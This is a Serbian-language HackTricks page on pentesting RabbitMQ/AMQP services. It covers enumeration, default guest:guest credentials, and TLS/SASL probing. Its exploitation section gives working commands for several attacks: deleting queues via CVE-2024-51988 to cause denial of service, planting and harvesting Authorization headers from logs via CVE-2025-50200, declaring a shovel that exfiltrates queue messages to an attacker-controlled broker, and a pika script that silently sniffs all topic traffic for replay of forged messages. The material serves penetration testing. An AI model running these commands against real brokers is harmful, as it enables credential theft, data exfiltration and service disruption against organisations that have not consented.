5671,5672 - Pentesting AMQP

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Basic Information

Iz cloudamqp:

RabbitMQ je message-queueing software poznat i kao message broker ili queue manager. Jednostavno rečeno; to je softver gde se definišu redovi (queues), na koje se aplikacije povezuju kako bi preneli poruku ili poruke.
A message can include any kind of information. Na primer, može sadržati informacije o procesu ili zadatku koji bi trebao da se pokrene u drugoj aplikaciji (koja može biti i na drugom serveru), ili može biti samo jednostavna tekstualna poruka. Queue-manager softver čuva poruke dok se prijemna aplikacija ne poveže i ne preuzme poruku iz reda. Prijemna aplikacija tada procesuira poruku.
Definicija iz .

Default port: 5672,5671

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • Default credentials: guest:guest. RabbitMQ ih ograničava na localhost preko loopback_users, ali mnogi Docker/IoT image-i onemogućavaju tu proveru, zato uvek testirajte remote login pre nego što pretpostavite da je blokiran.
  • Authentication mechanisms: PLAIN i AMQPLAIN su omogućeni po defaultu, ANONYMOUS je mapiran na anonymous_login_user/anonymous_login_pass, a EXTERNAL (x509) može biti izložen kada je TLS omogućen. Enumerišite šta broker oglašava da biste znali da li da kasnije pokušate password spraying ili certificate impersonation.

Enumeracija

Ručno

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)

Kada se autentifikujete, dump conn.server_properties, conn.channel_max i conn.frame_max kako biste razumeli ograničenja propusnosti i da li možete iscrpeti resurse prevelikim okvirima.

Automatski

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

TLS/SASL provere

  • Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null

Ovo leaks sertifikatni lanac, podržane TLS verzije i da li je mutual TLS zahtevan.

  • List listeners without creds:
rabbitmq-diagnostics -q listeners

Koristan jednom kada dobijete low-priv shell pristup hostu.

  • Spot ANONYMOUS logins: if the broker allows the ANONYMOUS SASL mechanism, try connecting with an empty username/password; RabbitMQ will internally map you to the anonymous_login_user (defaults to guest).

Brute Force

Exploitation Tips

Queue deletion without configure perms (CVE-2024-51988)

RabbitMQ ≤ 3.12.10 (and unpatched Tanzu builds) ne proverava configure permission kada se redovi brišu putem HTTP API-ja. Bilo koji autentifikovani korisnik sa pristupom ciljnom vhost-u može obrisati proizvoljne redove čak i ako ima samo read ili write prava.

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Kombinujte ovo sa rabbitmqadmin list permissions da pronađete vhosts gde vaš low-priv korisnik ima delimičan pristup, zatim obrišite queues da izazovete denial of service ili pokrenete compensating controls uočene na AMQP strani. Proverite 15672 pentesting za više HTTP API endpoints koje možete chain-ovati sa ovim bugom.

Prikupljanje kredencijala iz RabbitMQ logova (CVE-2025-50200)

Do verzija 4.0.8/4.1.0, pozivanje management API-ja sa HTTP basic auth na nepostojeći resurs uzrokuje da broker zabeleži ceo Authorization header (base64). Ako dobijete ograničen pristup fajl-sistemu (npr. Docker escape, plugin RCE), pretražite /var/log/rabbitmq/rabbit@*.log za Authorization: i povratite kredencijale za druge tenants ili service accounts.

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

Pokrenite ovo namerno sa lažnim endpoint-ima da posadite sveže tajne u logove, zatim pivotirajte ponovnim korišćenjem dekodiranih creds preko AMQP, STOMP, MQTT ili samog OS-a.

Iskoristite rabbitmqadmin-ng

rabbitmqadmin v2 (aka rabbitmqadmin-ng) je samostalan CLI koji komunicira sa management API-jem i sada se isporučuje kao statički linkovane build-ove za Linux/macOS/Windows. Stavite ga na svoj bounce box i skriptujte:

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen

Pošto alat podržava provere zdravlja kompatibilne sa blue/green, možete takođe zloupotrebiti rabbitmqadmin health_check port_listener --port 5672 da daljinski potvrdite da li su TLS listeners izloženi ili da držite servis zauzetim radi timing probes.

Message hijacking/sniffing

Ako pronađete permisivne politike (.* bindings, topic exchanges, or x-queue-master-locator = min-masters), možete tiho presretati poruke bez njihovog brisanja:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)

Zameni routing key sa audit.# ili payments.* da se fokusiraš na osetljive tokove, potom ponovo objavi forgirane poruke menjajući argumente basic_publish — korisno za replay attacks protiv downstream microservices.

Ostali RabbitMQ portovi

U https://www.rabbitmq.com/networking.html možeš pronaći da rabbitmq koristi više portova:

Vidi takođe

4222 Pentesting Nats

Shodan

  • AMQP

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks